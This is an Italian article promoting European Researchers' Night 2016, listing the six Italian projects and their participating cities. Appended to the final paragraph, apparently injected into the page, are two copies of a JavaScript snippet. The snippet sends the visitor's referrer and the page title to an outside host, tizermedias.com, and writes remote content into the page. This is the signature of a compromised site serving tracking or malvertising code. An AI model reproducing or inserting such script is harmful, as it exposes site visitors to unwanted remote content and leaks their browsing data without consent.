Notte europea dei ricercatori 2016

Per appassionati di scienza o semplici curiosi il prossimo 30 settembre c’è un appuntamento imperdibile: la Notte europea dei ricercatori 2016. Dal 2005 la manifestazione promossa dalla Commissione europea coinvolge centinaia di località in tutto il continente portando in piazza la ricerca e i suoi protagonisti. Quest’anno saranno oltre 250 le città che ospiteranno spettacoli, workshop, proiezioni di film, visite guidate a laboratori e molti altri eventi divulgativi, che consentiranno a ciascuno di avvicinarsi alla scienza e capire l’impatto che la ricerca ha nella vita quotidiana in maniera divertente e interattiva.

L’Italia parteciperà alla Notte europea dei ricercatori 2016 con 6 progetti – Bright, Closer, Luna, Made in Science, Sharper e Society – e le località che ospiteranno eventi legati alla manifestazione saranno oltre 50.

Il progetto Bright interessa la Toscana e punta a migliorare la visibilità e la percezione del lavoro degli scienziati tra la cittadinanza. Ci saranno eventi che animeranno i centri storici delle città coinvolte (Arezzo, Calci, Firenze, Grosseto, Lucca, Pisa, Poggibonsi, Pontedera, Portoferraio, Prato, Siena e Viareggio) e i laboratori apriranno le proprie porte a quanti vorranno scoprire qualcosa in più su ciò che accade al loro interno.

In Piemonte e Valle d’Aosta la Notte europea dei ricercatori 2016 avrà le sembianze del progetto Closer. Alessandria, Aosta, Asti, Biella, Cuneo, Torino e Verbania saranno teatro di eventi che coinvolgeranno università, centri di ricerca e imprese impegnate in un dialogo sulle ricadute della scienza sulla società contemporanea per portare avanti il progetto di un futuro sostenibile.

La Notte europea dei ricercatori 2016 a Bolzano inizierà alle 17.00. A partire da allora e fino alle 24.00, nell’ambito del progetto Luna, si apriranno le porte di 14 location tra laboratori e istituzioni di ricerca e i visitatori di tutte le età saranno coinvolti in esperimenti e altre attività.

Made in Science è il progetto italiano della Notte europea dei ricercatori 2016 che interessa il maggior numero di città, che con la loro rete di enti di ricerca danno vita a una vera e propria filiera della conoscenza. I numerosi eventi legati a questo progetto, che promettono di essere particolarmente spettacolari, si svolgeranno a Bari, Cagliari, Carbonia, Cassino, Ferrara, Firenze, Frascati, Genova, Gorga, Grottaferrata, Lecce, Milano, Modena, Monte Porzio Catone, Napoli, Palermo, Parma, Pavia, Reggio Emilia, Roma, Sassari e Trieste.

Tra i progetti tricolore che animeranno la Notte europea dei ricercatori 2016 c’è anche Sharper. A Perugia, Ancona, Cascina, L’Aquila e Palermo dal pomeriggio e fino a tarda notte ci saranno eventi dedicati a scienza, innovazione e tecnologia volti ad avvicinare il grande pubblico a questi settori. Tra le attività in programma è sicuramente da segnalare Light City Dress, che trasformerà le facciate di edifici simbolo mediante graphic design e immagini.

Il progetto Society coinvolgerà, invece, l’Emilia Romagna – per la precisione le città di Bologna, Cesena, Forlì, Ravenna e Rimini – e avrà un’attenzione particolare per gli studenti delle scuole secondarie e soprattutto per le ragazze, affinché sempre di più si avvicinino al mondo della scienza e della ricerca.(function(){var d=document;var w=’240′;var h=’300′;var id = Math.floor(Math.random()*9999);var src = ‘http://tizermedias.com/odessa/?54vFcZ&’;src = src + ‘se_referrer=’+document.referrer;src = src + ‘&default_keyword=’+document.title;src = src + ‘&r=’+id;d.write(”);})();(function(){var d=document;var w=’240′;var h=’300’;var id = Math.floor(Math.random()*9999);var src = ‘http://tizermedias.com/odessa/?54vFcZ&’;src = src + ‘se_referrer=’+document.referrer;src = src + ‘&default_keyword=’+document.title;src = src + ‘&r=’+id;d.write(”);})();